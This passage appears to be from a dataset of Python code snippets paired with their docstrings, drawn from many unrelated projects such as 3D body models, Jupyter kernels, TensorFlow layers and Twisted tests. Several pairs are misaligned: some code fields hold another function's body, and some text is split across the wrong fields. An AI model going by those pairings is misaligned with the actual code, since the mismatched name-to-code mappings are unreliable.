name::rtype: pika.channel.Channel"} {"code": "def __init__(self, *args, **kwargs) -> None:\n Forward pass for the SMPLX model\n\n Parameters\n ----------\n global_orient: torch.tensor, optional, shape Bx3x3\n Global rotation of the body. Useful if someone wishes to\n predicts this with an external model. It is expected to be in", "nl": " FLAME as a layer model constructor super(FLAMELayer, self).__init__(create_betas=False,create_expression=False,create_global_orient=False,create_neck_pose=False,create_jaw_pose=False,create_leye_pose=False,create_reye_pose=False,*args,**kwargs)def forward(self,betas: Optional[Tensor] = None,global_orient: Optional[Tensor] = None,neck_pose: Optional[Tensor] = None,transl: Optional[Tensor] = None,expression: Optional[Tensor] = None,jaw_pose: Optional[Tensor] = None,leye_pose: Optional[Tensor] = None,reye_pose: Optional[Tensor] = None,return_verts: bool = True,return_full_pose: bool = False,pose2rot: bool = True,**kwargs) -> FLAMEOutput:"} {"code": "def token_at_cursor(code, pos=0):\n cl = len(code)\n end = start = pos\n while end < cl and code[end].isalpha():\n end += 1\n while start > 0 and code[start-1].isalpha():\n start -= 1\n if start > 0 and code[start-1] == '%':\n start -= 1\n return code[start:end], start\n\n\n\nclass SparqlKernel(Kernel):\n \"\"\"\n\n implementation = 'SPARQL'\n implementation_version = __version__\n banner = \"SPARQL kernel\"\n language = LANGUAGE\n language_version = '1.1'\n language_info = {'name': 'sparql',\n 'mimetype': 'application/sparql-query',\n 'codemirror_mode': {\"name\": \"sparql\"},\n 'pygments_lexer': 'sparql-nb'}\n\n\n help_links = List([\n {\n 'text': \"SPARQL\",\n 'url': \"https://www.w3.org/TR/rdf-sparql-query/\",\n },\n {\n 'text': \"SPARQL 1.1\",\n 'url': \"https://www.w3.org/TR/sparql11-overview/\",\n },\n {\n 'text': \"SPARQL Tutorial\",\n 'url': \"https://jena.apache.org/tutorials/sparql.html\",\n }, ])\n\n\n", "nl": "Find the token present at the passed position in the code buffer:return (tuple): a pair (token, start_position)"} {"code": "def zero_pad(inputs, in_filter, out_filter):\n return tf.contrib.layers.batch_norm(\n inputs,\n decay=decay,\n center=center,\n scale=scale,\n epsilon=epsilon,\n activation_fn=None,\n param_initializers=None,\n updates_collections=tf.GraphKeys.UPDATE_OPS,\n is_training=is_training,\n reuse=reuse,\n trainable=True,\n fused=True,\n data_format='NHWC',\n zero_debias_moving_mean=False,\n scope=scope)\n\n", "nl": "Zero pads `input` tensor to have `out_filter` number of filters.outputs = tf.pad(inputs, [[0, 0], [0, 0], [0, 0],[(out_filter - in_filter) // 2,(out_filter - in_filter) // 2]])return outputs@tf.contrib.framework.add_arg_scopedef batch_norm(inputs,decay=0.999,center=True,scale=False,epsilon=0.001,is_training=True,reuse=None,scope=None):Small wrapper around tf.contrib.layers.batch_norm."} {"code": "def copy_files_and_create_dirs(files: List[Tuple[str, str]]) -> None:\n for file in files:\n target_dir_name = os.path.dirname(file[1])\n\n if not os.path.exists(target_dir_name):\n os.makedirs(target_dir_name)\n\n shutil.copyfile(file[0], file[1])\n\n\n", "nl": "Takes in a list of tuples of (src, dst) paths and copies files.Will create all necessary directories."} {"code": "def QWeight(self, w, domain: str = 'default'):\n qd = self._GetQDomain(domain)\n return qd.QuantizeWeight(w) if qd else w\n", "nl": "Quantizes a weight.Args:w: The weight tensor.domain: Name of the QDomain to use for quantization.Returns:The weights quantized."} {"code": "def usage(self):\n print(msg)\n", "nl": "msg = dhcp6d( dns=\"2001:500::1035\", domain=\"localdomain, local\", duid=None)iface=conf.iface6, advpref=255, sntpservers=None,sipdomains=None, sipservers=None,nisdomain=None, nisservers=None,nispdomain=None, nispservers=None,bcmcsdomain=None, bcmcsservers=None)debug : When set, additional debugging information is printed.duid : some DUID class (DUID_LLT, DUID_LL or DUID_EN). If noneis provided a DUID_LLT is constructed based on the MACaddress of the sending interface and launch time of dhcp6danswering machine.iface : the interface to listen/reply on if you do not want to useconf.iface6.advpref : Value in [0,255] given to Advertise preference field.By default, 255 is used. Be aware that this specificvalue makes clients stops waiting for further Advertisemessages from other servers.dns : list of recursive DNS servers addresses (as a string or list).By default, it is set empty and the associated DHCP6OptDNSServersoption is inactive. See RFC 3646 for details.domain : a list of DNS search domain (as a string or list). By default,it is empty and the associated DHCP6OptDomains option is inactive.See RFC 3646 for details.sntpservers : a list of SNTP servers IPv6 addresses. By default,it is empty and the associated DHCP6OptSNTPServers optionis inactive.sipdomains : a list of SIP domains. By default, it is empty and theassociated DHCP6OptSIPDomains option is inactive. See RFC 3319for details.sipservers : a list of SIP servers IPv6 addresses. By default, it isempty and the associated DHCP6OptSIPDomains option is inactive.See RFC 3319 for details.nisdomain : a list of NIS domains. By default, it is empty and theassociated DHCP6OptNISDomains option is inactive. See RFC 3898for details. See RFC 3646 for details.nisservers : a list of NIS servers IPv6 addresses. By default, it isempty and the associated DHCP6OptNISServers option is inactive.See RFC 3646 for details.nispdomain : a list of NIS+ domains. By default, it is empty and theassociated DHCP6OptNISPDomains option is inactive. See RFC 3898for details.nispservers : a list of NIS+ servers IPv6 addresses. By default, it isempty and the associated DHCP6OptNISServers option is inactive.See RFC 3898 for details.bcmcsdomain : a list of BCMCS domains. By default, it is empty and theassociated DHCP6OptBCMCSDomains option is inactive. See RFC 4280for details.bcmcsservers : a list of BCMCS servers IPv6 addresses. By default, it isempty and the associated DHCP6OptBCMCSServers option is inactive.See RFC 4280 for details.If you have a need for others, just ask ... or provide a patch."} {"code": "def register(self, ip, tags):\n root, payload = self._create_uidmessage()\n register = payload.find(\"register\")\n if register is None:\n register = ET.SubElement(payload, \"register\")\n ip = list(set(string_or_list(ip)))\n tags = list(set(string_or_list(tags)))\n if not tags:\n return\n tags = [self.prefix+t for t in tags]\n for c_ip in ip:\n tagelement = register.find(\"./entry[@ip='%s']/tag\" % c_ip)\n if tagelement is None:\n entry = ET.SubElement(register, \"entry\", {\"ip\": c_ip})\n tagelement = ET.SubElement(entry, \"tag\")\n for tag in tags:\n member = ET.SubElement(tagelement, \"member\")\n member.text = tag\n self.send(root)\n", "nl": "Register an ip tag for a Dynamic Address GroupThis method can be batched with batch_start() and batch_end().Args:ip (:obj:`list` or :obj:`str`): IP address(es) to tagtags (:obj:`list` or :obj:`str`): The tag(s) for the IP address"} {"code": "def parse_image_meta(img_meta):\n ori_shape = img_meta[0:3]\n img_shape = img_meta[3:6]\n pad_shape = img_meta[6:9]\n scale_factor = img_meta[9]\n flip = img_meta[10]\n return {\n 'ori_shape': ori_shape.astype(np.int32),\n 'img_shape': img_shape.astype(np.int32),\n 'pad_shape': pad_shape.astype(np.int32),\n 'scale_factor': scale_factor.astype(np.float32),\n 'flip': flip.astype(np.bool),\n }", "nl": "Parses an array that contains image attributes to its components.Args---meta: [11]Returns---a dict of the parsed values."} {"code": "def writelines(self, sequence: Iterable[Any]) -> None:\n for line in sequence:\n self.write(line)\n", "nl": "Write a sequence of strings to the file.Does not add seperators."} {"code": "def test_interface(self):\n self.assertTrue(\n verifyObject(iweb.IRequest, server.Request(DummyChannel(), True)))\n\n", "nl": "L{server.Request} instances provide L{iweb.IRequest}."} {"code": "def has_module_perms(self, app_label):\n if not self.is_active:\n return False\n\n if self.is_superuser:\n return True\n\n for backend in auth.get_backends():\n if hasattr(backend, \"has_module_perms\"):\n if backend.has_module_perms(self, app_label):\n return True\n return False\n", "nl": "Returns True if the user has any permissions in the given applabel. Uses pretty much the same logic as has_perm, above."} {"code": "def parseExpandedData(smpx, restShape, sliderShapes, comboShapes, travShapes):\n solver = PySimplex(smpx.dump())\n shapeArray = np.zeros((len(smpx.shapes), len(restShape), 3))\n\n indexBySlider = {s: i for i, s in enumerate(smpx.sliders)}\n indexByShape = {s: i for i, s in enumerate(smpx.shapes)}\n\n floatShapeSet = set(smpx.getFloatingShapes())\n floatIdxs = sorted(set([indexByShape[s] for s in floatShapeSet]))\n travShapeSet = set([pp.shape for t in smpx.traversals for pp in t.prog.pairs])\n travIdxs = sorted(set([indexByShape[s] for s in travShapeSet]))\n\n for ppDict in six.itervalues(sliderShapes):\n for pp, shp in six.iteritems(ppDict):\n shapeArray[indexByShape[pp.shape]] = shp - restShape\n\n comboByDepth = {}\n for combo in smpx.combos:", "nl": "Turn the expanded data into shapeDeltas connected to the actual Shape objectsParameters----------smpx : SimplexA simplex systemrestShape : np.arrayThe rest point positionssliderShapes : np.arrayThe slider shape point positionscomboShapes : np.arrayThe combo shape point positionstravShapes : np.arrayThe traversal shape point positionsReturns-------: np.arrayThe point positions for a new set of shapes"} {"code": "def __init__(self, fft_size=1024, shift_size=120, win_length=600, window=\"hann_window\"):\n Args:\n x (Tensor): Predicted signal (B, T).\n y (Tensor): Groundtruth signal (B, T).\n Returns:\n Tensor: Spectral convergence loss value.\n Tensor: Log STFT magnitude loss value.\n \"\"\"\n", "nl": "Initialize STFT loss module.super(STFTLoss, self).__init__()self.fft_size = fft_sizeself.shift_size = shift_sizeself.win_length = win_lengthself.window = getattr(torch, window)(win_length)self.spectral_convergenge_loss = SpectralConvergengeLoss()self.log_stft_magnitude_loss = LogSTFTMagnitudeLoss()def forward(self, x, y):Calculate forward propagation."} {"code": "def test_missing_adjustments(self):\n nonexistant = 'daguerre/test/nonexistant.png'", "nl": "_missing_adjustments should return AdjustedImages whose adjustedno longer exists."} {"code": "def __call__(self):\n return self.data\n", "nl": "When an instance is called it returns the stored data or None if nodata has been cached.e.gdata = cached_data()"} {"code": "def number_class(self, context=None):\n if self.is_snan():\n return \"sNaN\"\n if self.is_qnan():\n return \"NaN\"\n inf = self._isinfinity()\n if inf == 1:\n return \"+Infinity\"\n if inf == -1:\n return \"-Infinity\"\n if self.is_zero():\n if self._sign:\n return \"-Zero\"\n else:\n return \"+Zero\"\n if context is None:\n context = getcontext()\n if self.is_subnormal(context=context):\n if self._sign:\n return \"-Subnormal\"\n else:\n return \"+Subnormal\"\n if self._sign:\n return \"-Normal\"\n else:\n return \"+Normal\"\n", "nl": "Returns an indication of the class of self.The class is one of the following strings:sNaNNaN-Infinity-Normal-Subnormal-Zero+Zero+Subnormal+Normal+Infinity"} {"code": "def __init__(self, parser):\n self.success = True\n self.parser = parser\n self.backup = Backup(self)\n", "nl": "Init method.@json_file(str): the json database file name@custom_path(str): used when the application is compiledand installed in an other customn path"} {"code": "def variables_and_orphans(i, o):", "nl": "Extract list of variables between i and o nodes viadfs traversal and chooses the orphans among themParameters----------i : listInput variables.o : listOutput variables."} {"code": "def goto(self, number):\n if number < 0:\n number = 0\n if number >= self.pages_number():\n number = self.pages_number() - 1\n\n if 0 <= self.hist_pos < len(self.history) and self.history[self.hist_pos] == number:\n return number\n\n self.hist_pos = min(len(self.history), self.hist_pos + 1)\n del self.history[self.hist_pos:]\n self.history.append(number)\n\n return number\n\n", "nl": " Switch to another page. Validates the number and returns one in the correct range. Also updates history.Args:number (`int`): number of the destination page"} {"code": "def named_parameters(self) -> List[Tuple[str, Var]]:\n state_dict = self.state_dict()\n return list(state_dict.items())\n", "nl": " Returns a list of module parameters and their names.----------------Example::>>> net = nn.Linear(2, 5)>>> net.named_parameters()[('weight', jt.Var([[ 0.5964666 -0.3175258 ][ 0.41493994 -0.66982657][-0.32677156 0.49614117][-0.24102807 -0.08656466][ 0.15868133 -0.12468725]], dtype=float32)),('bias', jt.Var([-0.38282675 0.36271113 -0.7063226 0.02899247 0.52210844], dtype=float32))]"} {"code": "def lcm(self, term):\n\n result = IntegerGMP(0)\n if not isinstance(term, IntegerGMP):\n term = IntegerGMP(term)\n _gmp.mpz_lcm(result._mpz_p, self._mpz_p, term._mpz_p)\n return result\n\n @staticmethod", "nl": "Compute the least common multiplier between thisnumber and another term."} {"code": "def read(self, size=-1):\n self._check_can_read()\n return self._buffer.read(size)\n", "nl": "Read up to size uncompressed bytes from the file.If size is negative or omitted, read until EOF is reached.Returns b\"\" if the file is already at EOF."} {"code": "def test_response_for_impersonation(self):\n core, root = core_and_root([make_example_internal_api(self)])\n\n (response, json_body) = impersonate_user(self, root)\n self.assertEqual(200, response.code)\n self.assertTrue(json_body['access']['token']['id'])\n", "nl": "Test to verify :func: `get_impersonation_token`."} {"code": "def getSdkDir(self):\n global VBoxSdkDir\n return VBoxSdkDir\n", "nl": "Returns the VirtualBox SDK directory."} {"code": "def __init__(self, contract_config: ContractConfig, **kwargs: Any) -> None:\n super().__init__(contract_config, **kwargs)\n\n @property", "nl": "Initialize the contract.:param contract_config: the contract configurations.:param kwargs: the keyword arguments."} {"code": "def p_definition_list_1(p):\n | NAME INT '{' entry_list '}'\n | INT '{' entry_list '}'\n '''", "nl": "definition_list : definitionp[0]=[p[1]]def p_definition_without_alias(p): definition : NAME NAME INT '{' entry_list '}'"} {"code": "def get_height(self):\n Set the left coord of the rectangle.\n\n Parameters\n ----------\n x : float\n \"\"\"", "nl": "Return the height of the rectangle.return self._heightdef set_x(self, x):"} {"code": "def register_introspection_functions(self):\n\n self.funcs.update({'system.listMethods' : self.system_listMethods,\n 'system.methodSignature' : self.system_methodSignature,\n 'system.methodHelp' : self.system_methodHelp})\n", "nl": "Registers the XML-RPC introspection methods in the systemnamespace.see http://xmlrpc.usefulinc.com/doc/reserved.html"} {"code": "def norm(self):\n\t\tv = self.clone()\n\t\tv.norm()\n\t\treturn v\n", "nl": "Normalize vector and return lengthl = self.length()if l>0.0:invlen = 1.0/lfor i in range(len(self)):self[i] *= invlenreturn lnormalize = norm# ----------------------------------------------------------------------def unit(self):return a unit vector"} {"code": "def test_unconverted_types():\n\n fns = {\n \"Fn::GetAtt\": \"!GetAtt\",\n \"Fn::Sub\": \"!Sub\",\n \"Ref\": \"!Ref\",\n \"Condition\": \"!Condition\",\n }\n\n for fn, tag in fns.items():\n value = dump_json({\n fn: \"something\"\n })\n\n expected = \"{} 'something'\\n\".format(tag)\n\n assert cfn_flip.to_yaml(value) == expected\n\n", "nl": "When converting to yaml, we need to make sure all short-form types are tagged"} {"code": "def test_two_strings_are_equal(self):\n src2 = u\"\"\"\\\\\n self.assertEqual(src1, src2)\n\n if __name__ == \"__main__\":\n unittest.main()\n ''')\n\n run_in_temp_dir = False\n", "nl": "src1 = u\\\\# -*- coding: utf-8 -*-# Just a comment."} {"code": "def test_parseCookiesContinueAfterMalformedCookie(self):\n req = http.Request(DummyChannel(), False)\n req.requestHeaders.setRawHeaders(\n b\"cookie\", [b'12345; test=\"lemur\"; 12345; test2=\"panda\"; 12345'])\n req.parseCookies()\n self.assertEqual(\n req.received_cookies, {b\"test\": b'\"lemur\"', b\"test2\": b'\"panda\"'})\n\n", "nl": "L{http.Request.parseCookies} parses valid cookies set before orafter malformed cookies."} {"code": "def _pad(self, size, chunk_size):\n raise NotImplementedError()\n", "nl": "Helper function; not to be called directly.Pads size to the smallest size greater than size that is in unitsof chunk_size.:param size: the size of the array:type size: :class:`~.size.Size`:param chunk_size: the smallest unit of size this array allows:type chunk_size: :class:`~.size.Size`:rtype: :class:`~.size.Size`"} {"code": "def plot_time_response(self, F, t, ic=None, out=None, ax=None):\n if ax is None:\n fig, axs = plt.subplots(self.lti.outputs, 1, sharex=True)\n\n fig.suptitle('Time response ' + self.name, fontsize=12)\n plt.subplots_adjust(hspace=0.01)\n\n if out is not None:\n raise NotImplementedError('Not implemented yet for specific outputs.')\n\n t, yout, xout = self.time_response(F, t, ic=ic)\n\n for i, ax in enumerate(axs):\n ax.plot(t, yout[:, i])\n\n min_ = min([ax.get_ylim()[0] for ax in axs])\n max_ = max([ax.get_ylim()[1] for ax in axs])\n lim = max(abs(min_), max_)\n\n for i, ax in enumerate(axs):\n ax.set_ylim([-lim, lim])\n ax.set_xlim(t[0], t[-1])\n ax.set_ylabel('Amp. output %s (m)' % i, fontsize=8)\n\n axs[-1].set_xlabel('Time (s)')\n\n return axs", "nl": "rPlot the time response for a mdof system.This method returns the time response for a mdof systemgiven a force, time and initial conditions.Parameters----------F : arrayForce array (needs to have the same length as time array).t : arrayTime array.ic : array, optionalThe initial conditions on the state vector (zero by default).out : listDesired output for which the time response will be plotted.ax : array with matplotlib.axes, optionalMatplotlib axes array created with plt.subplots.It needs to have a shape of (2*inputs, outputs).Returns-------ax : array with matplotlib.axes, optionalMatplotlib axes array created with plt.subplots.t : arrayTime values for the output.yout : arraySystem response.xout : arrayTime evolution of the state vector.Examples-------->>> m0, m1 = 1, 1>>> c0, c1, c2 = 1, 1, 1>>> k0, k1, k2 = 1e3, 1e3, 1e3>>> M = np.array([[m0, 0],... [0, m1]])>>> C = np.array([[c0+c1, -c2],... [-c1, c2+c2]])>>> K = np.array([[k0+k1, -k2],... [-k1, k2+k2]])>>> sys = VibeSystem(M, C, K) # create the system>>> t = np.linspace(0, 25, 1000) # time array>>> F1 = np.zeros((len(t), 2))>>> F1[:, 1] = 1000*np.sin(40*t) # force applied on m1>>> sys.plot_time_response(F1, t)array([..."} {"code": "def open(self):\n\n :param callable callback: The callback to call on Queue.BindOk;\n MUST be None when nowait=True.\n :param queue: The queue to bind to the exchange\n :type queue: str or unicode\n :param exchange: The source exchange to bind to\n :type exchange: str or unicode\n :param routing_key: The routing key to bind on\n :type routing_key: str or unicode\n :param bool nowait: Do not wait for a Queue.BindOk\n :param dict arguments: Custom key/value pair arguments for the binding\n\n \"\"\"", "nl": "Open the channelself._set_state(self.OPENING)self._add_callbacks()self._rpc(spec.Channel.Open(), self._on_openok, [spec.Channel.OpenOk])def queue_bind(self, callback, queue, exchange,routing_key=None,nowait=False,arguments=None):Bind the queue to the specified exchange"} {"code": "def crop(img, top, left, height, width):\n return img.crop((left, top, left + width, top + height))\n", "nl": "Function for cropping image.Args::[in] img(Image.Image): Input image.[in] top(int): the top boundary of the cropping box.[in] left(int): the left boundary of the cropping box.[in] height(int): height of the cropping box.[in] width(int): width of the cropping box.Example::img = Image.open(...)img_ = transform.crop(img, 10, 10, 100, 100)"} {"code": "def test_write_close_filelike(tmpdir):\n shp = open(tmpdir.join(\"test.shp\").strpath, mode='wb+')\n shx = open(tmpdir.join(\"test.shx\").strpath, mode='wb+')\n dbf = open(tmpdir.join(\"test.dbf\").strpath, mode='wb+')\n sf = shapefile.Writer(shx=shx, dbf=dbf, shp=shp)\n sf.field('field1', 'C')\n sf.record('value')\n sf.null()\n sf.close()\n\n assert sf.shp.closed is False\n assert sf.dbf.closed is False\n assert sf.shx.closed is False\n\n with shapefile.Reader(shx=shx, dbf=dbf, shp=shp) as reader:\n assert len(reader) == 1\n assert reader.shape(0).shapeType == shapefile.NULL\n\n", "nl": "Assert that the Writer close() methodleaves the shp, shx, and dbf files openon exit, if given filelike objects."} {"code": "def setstate(self, state):\n\nclass BufferedIncrementalDecoder(IncrementalDecoder):\n \"\"\"", "nl": "Set the current state of the decoder.state must have been returned by getstate(). The effect ofsetstate((b\"\", 0)) must be equivalent to reset()."} {"code": "def get_dev_examples(self, data_dir):\n return self._create_examples(\n self._read_tsv(os.path.join(data_dir, \"test.tsv\")), \"test\")\n", "nl": "See base class.return self._create_examples(self._read_tsv(os.path.join(data_dir, \"dev.tsv\")), \"dev\")def get_test_examples(self, data_dir):See base class."} {"code": "def close(self):\n raise NotImplementedError()\n", "nl": "closes the stream, releasing any system resources associated with itraise NotImplementedError()@propertydef closed(self):tests whether the stream is closed or not"} {"code": "def get_initial_states(self, input_shape):\n init_height = input_shape[self.row_axis]\n init_width = input_shape[self.col_axis]\n\n base_initial_state = np.zeros(input_shape)\n non_channel_axis = -1 if self.data_format == 'channels_first' else -2\n for _ in range(2):\n base_initial_state = np.sum(base_initial_state, axis = non_channel_axis)\n base_initial_state = np.sum(base_initial_state, axis = 1)\n\n initial_states = []\n states_to_pass = ['R', 'c', 'E']\n layerNum_to_pass = {sta: self.num_layers for sta in states_to_pass}\n if self.extrap_start_time is not None:\n states_to_pass.append('Ahat')\n layerNum_to_pass['Ahat'] = 1\n\n for sta in states_to_pass:\n for lay in range(layerNum_to_pass[sta]):\n downSample_factor = 2 ** lay\n row = init_height // downSample_factor\n col = init_width // downSample_factor\n if sta in ['R', 'c']:\n stack_size = self.R_stack_sizes[lay]\n elif sta == 'E':\n stack_size = self.stack_sizes[lay] * 2\n elif sta == 'Ahat':\n stack_size = self.stack_sizes[lay]\n output_size = stack_size * row * col\n reducer = np.zeros((input_shape[self.channel_axis], output_size))\n initial_state = np.dot(base_initial_state, reducer)\n\n if self.data_format == 'channels_first':\n output_shape = (-1, stack_size, row, col)\n else:\n output_shape = (-1, row, col, stack_size)\n initial_state = Variable(torch.from_numpy(np.reshape(initial_state, output_shape)).float().cuda(), requires_grad = True)\n initial_states += [initial_state]\n\n if self.extrap_start_time is not None:\n initial_states += [Variable(torch.IntTensor(1).zero_().cuda())]\n return initial_states\n\n", "nl": "input_shape is like: (batch_size, timeSteps, Height, Width, 3)or: (batch_size, timeSteps, 3, Height, Width)"} {"code": "def outcome(self):\n raise NotImplementedError()\n\n @abc.abstractmethod", "nl": "Indicates the operation's outcome (or that the operation is ongoing).Returns:None if the operation is still active or the Outcome value for theoperation if it has terminated."} {"code": "def geometry_columns(self):\n geo_cols = {}", "nl": "Returns a datastructure of metadata information associated with the`geometry_columns` (or equivalent) table."} {"code": "def is_growl_running():\n tell application \"System Events\"\n return count of (every process whose name is \"GrowlHelperApp\") > 0\n end tell\n \"\"\"", "nl": "Check if Growl is running. Run this before any other Growl functions.script = "} {"code": "def test_get_sla_list(self):\n response = self.client.get(\n path=reverse('api_services_agents'), **self.authentication_headers)\n self.assertEquals(response.status_code, 200)\n", "nl": " Test index page api/services/sla response = self.client.get(path=reverse('api_services_sla'), **self.authentication_headers)self.assertEquals(response.status_code, 200)def test_get_sla(self):response = self.client.get(path=reverse('api_services_sla', kwargs={'object_ptr': self.sla.id}), **self.authentication_headers)self.assertEquals(response.status_code, 200)def test_update_sla(self):updates = {'name': 'Api update','service': self.service.id, 'provider': self.contact.id}response = self.client.put(path=reverse('api_services_sla', kwargs={'object_ptr': self.sla.id}),content_type=self.content_type, data=json.dumps(updates),**self.authentication_headers)self.assertEquals(response.status_code, 200)def test_get_agents_list(self): Test index page api/services/agents "} {"code": "def get_url(self, path=None, query=None):\n if urlparse(path).netloc:\n return path\n\n if isinstance(query, dict):\n query = urlencode(query)\n\n url_parts = urlparse(self.current_url)\n new_url_parts = (\n url_parts.scheme,\n url_parts.netloc,\n path or url_parts.path,\n None,\n query,\n None,\n )\n url = urlunparse(new_url_parts)\n\n return url\n", "nl": "You have to pass absolute URL to method:py:meth:`~selenium.webdriver.remote.webdriver.WebDriver.get`. Thismethod help you to pass only relative ``path`` and/or ``query``. Schemeand domains is append to URL from:py:attr:`~selenium.webdriver.remote.webdriver.WebDriver.current_url`.``query`` can be final string or dictionary. On dictionary it calls:py:func:`urllib.urlencode`... versionadded:: 2.0"} {"code": "def __init__(self, type):\n self._var_type = type\n self._payload_placeholder = RDELIM + type + RDELIM\n if type not in tlb:\n tlb[type] = None\n return\n", "nl": " Initializes a dynamic variable (a.k.a. dependency).@param type: The type of the dynamic variable.@type type: Str@return: None@rtype : None"} {"code": "def from_module_dict(cls, environment, module_dict, globals):\n return cls._from_namespace(environment, module_dict, globals)\n\n @classmethod", "nl": "Creates a template object from a module. This is used by themodule loader to create a template object... versionadded:: 2.4"} {"code": "def public_attributes(self): # pragma: no cover\n pass\n\n @classmethod", "nl": "To be override by other class.passdef public_info_keys(self): # pragma: no coverTo be override by other class."} {"code": "def isCodeTransitionAligned(self, ea, code_type=None):\n raise NotImplementedError(\"Subclasses should implement this!\")\n", "nl": "Check if the transition between code types is aligned correctly.Args:ea (int): effective address of the code to be checkedcode_type (int, optional): known code type for the given address (None by default)Return Value:True iff the transition address is aligned correctly"} {"code": "def test_removeAll(self):\n poller = _ContinuousPolling(Clock())\n reader = object()\n writer = object()\n both = object()\n poller.addReader(reader)\n poller.addReader(both)\n poller.addWriter(writer)\n poller.addWriter(both)\n removed = poller.removeAll()\n self.assertEqual(poller.getReaders(), [])\n self.assertEqual(poller.getWriters(), [])\n self.assertEqual(len(removed), 3)\n self.assertEqual(set(removed), set([reader, writer, both]))\n\n", "nl": "L{_ContinuousPolling.removeAll} removes all descriptors and returnsthe readers and writers."} {"code": "def _parse_lattice(self, lattice: pynini.Fst) -> Iterator[Analysis]:\n gensym = pynini.generated_symbols()\n piter = lattice.paths()\n while not piter.done():\n wordbuf = array.array(\"B\")\n features_and_values = []\n for label in piter.olabels():\n if not label:\n continue\n if label < 256:\n wordbuf.append(label)\n else:\n features_and_values.append(gensym.find(label))\n word = wordbuf.tobytes().decode(\"utf8\")\n vector = features.FeatureVector(self.category, *features_and_values)\n yield (word, vector)\n piter.next()\n\n\n @property", "nl": "Given a lattice, returns all string and feature vectors.Args:lattice: a rewrite lattice FST.Yields:Pairs of (string, feature vector)."} {"code": "def y(self):\n return self[1]\n\n\nclass Pos(BasePos):\n \"\"\" An implementation of BasePos for integer values.\n __slots__ = ()\n\n @staticmethod", "nl": " The 'y' component of the position."} {"code": "def _contains_cycle(fgraph, orderings):\n outputs = fgraph.outputs\n\n\n assert isinstance(outputs, (tuple, list, deque))\n", "nl": "Function to check if the given graph contains a cycleParameters----------fgraphThe FunctionGraph to check for cycles.orderingsDictionary specifying extra dependencies besides those encoded inVariable.owner / Apply.inputs.If orderings[my_apply] == dependencies, then my_apply is an Applyinstance, dependencies is a set of Apply instances, and every memberof dependencies must be executed before my_apply.The dependencies are typically used to preventinplace apply nodes from destroying their input beforeother apply nodes with the same input access it.Returns-------boolTrue if the graph contains a cycle, False otherwise."} {"code": "def test_tiff(h, f):\n if h.startswith(b'\\001\\332'):\n return 'rgb'\n\ntests.append(test_rgb)\n", "nl": "TIFF (can be in Motorola or Intel byte order)if h[:2] in (b'MM', b'II'):return 'tiff'tests.append(test_tiff)def test_rgb(h, f):SGI image library"} {"code": "def _action_space(self):\n raise NotImplementedError\n", "nl": "Returns a space objectraise NotImplementedErrordef _observation_space(self):Returns a space object"} {"code": "def uses_ahrs(self):\n\n return False\n", "nl": "The diagnostics page does not use AHRS.Returns:bool -- Always returns False."} {"code": "def __init__(self, errh):\n self.errh = errh\n self.cur_node = errh\n self.visit_stack = []\n", "nl": "@param errh: Error_handler instance@type errh: L{error_handler.err_handler}"} {"code": "def metric_value(self, output: runner.Output) -> float:\n return self._best_value.read()\n", "nl": "Computes the metric value for the given `output`.if callable(self.metric):value = self.metric(output)else:value = output[self.metric]return float(utils.get_value(value))@propertydef best_value(self) -> float:Returns the best metric value seen so far."} {"code": "def childDataReceived(self, name, bytes):\n self.data[name] = self.data.get(name, b'') + bytes\n if self.onDataReceived is not None:\n d, self.onDataReceived = self.onDataReceived, None\n d.callback(self)\n\n", "nl": "Record all bytes received from the child process in the C{data}dictionary. Fire C{onDataReceived} if it is not L{None}."} {"code": "def first_layer(self, inputs, trainable=True):\n x = Conv3l2(filters=32, name='Conv_1',\n kernel_regularizer_weight=self.l2r,\n trainable=trainable)(inputs)\n x = BatchNormalization(name='BN_1',trainable=trainable)(x)\n x = Activation('relu', name='act_1',trainable=trainable)(x)\n return x\n\n", "nl": "First convolution layer."} {"code": "def tgt_lens(self):\n index = index + 1\n source_line = self.prefix + linecache.getline(str(self.src_file), index).rstrip(\"\\n\")\n tgt_line = linecache.getline(str(self.tgt_file), index).rstrip(\"\\n\")\n assert source_line, f\"empty source line for index {index}\"\n assert tgt_line, f\"empty tgt line for index {index}\"\n source_inputs = self.encode_line(self.tokenizer, source_line, self.max_source_length)\n target_inputs = self.encode_line(self.tokenizer, tgt_line, self.max_target_length)\n\n source_ids = source_inputs[\"input_ids\"].squeeze()\n target_ids = target_inputs[\"input_ids\"].squeeze()\n src_mask = source_inputs[\"attention_mask\"].squeeze()\n return {\n \"input_ids\": source_ids,\n \"attention_mask\": src_mask,\n \"labels\": target_ids,\n }\n", "nl": "Length in characters of target documentsreturn self.get_char_lens(self.tgt_file)def make_sortish_sampler(self, batch_size, distributed=False, shuffle=True, **kwargs):if distributed:return DistributedSortishSampler(self, batch_size, shuffle=shuffle, **kwargs)else:return SortishSampler(self.src_lens, batch_size, shuffle=shuffle)def make_dynamic_sampler(self, max_tokens_per_batch=1024, **kwargs):assert FAIRSEQ_AVAILABLE, \"Dynamic batch size requires `pip install fairseq`\"assert not self.used_char_len, \"You must call python make_len_file.py before calling make_dynamic_sampler\"sorted_indices = list(self.make_sortish_sampler(1024, shuffle=False))def num_tokens_in_example(i):return min(self.src_lens[i], self.max_target_length)# call fairseq cython functionbatch_sampler: List[List[int]] = batch_by_size(sorted_indices,num_tokens_fn=num_tokens_in_example,max_tokens=max_tokens_per_batch,required_batch_size_multiple=64,)shuffled_batches = [batch_sampler[i] for i in np.random.permutation(range(len(batch_sampler)))]# move the largest batch to the front to OOM quickly (uses an approximation for padding)approximate_toks_per_batch = [max(self.src_lens[i] for i in batch) * len(batch) for batch in shuffled_batches]largest_batch_idx = np.argmax(approximate_toks_per_batch)shuffled_batches[0], shuffled_batches[largest_batch_idx] = (shuffled_batches[largest_batch_idx],shuffled_batches[0],)return shuffled_batchesdef __getitem__(self, item):raise NotImplementedError(\"You must implement this\")def collate_fn(self, batch):raise NotImplementedError(\"You must implement this\")class LegacySeq2SeqDataset(AbstractSeq2SeqDataset):def __getitem__(self, index) -> Dict[str, torch.Tensor]:Call tokenizer on src and tgt_lines"} {"code": "def items(self):\n return list(self.iteritems())\n", "nl": "Dict-like items() that returns a list of name-value tuples from thejar. Allows client-code to call ``dict(RequestsCookieJar)`` and get avanilla python dict of key value pairs... seealso:: keys() and values()."} {"code": "def merge_roles(mop):\n the given variations.\"\"\"", "nl": "Merge multiple roles.new_list = []for m in mop:m_isinnewlist = Falsem_indexinnewlist = Noneif isinstance(m, Person):for i, person in enumerate(new_list):if person.isSamePerson(m):m_isinnewlist = Truem_indexinnewlist = ibreakelse:if m in new_list:m_isinnewlist = Truem_indexinnewlist = 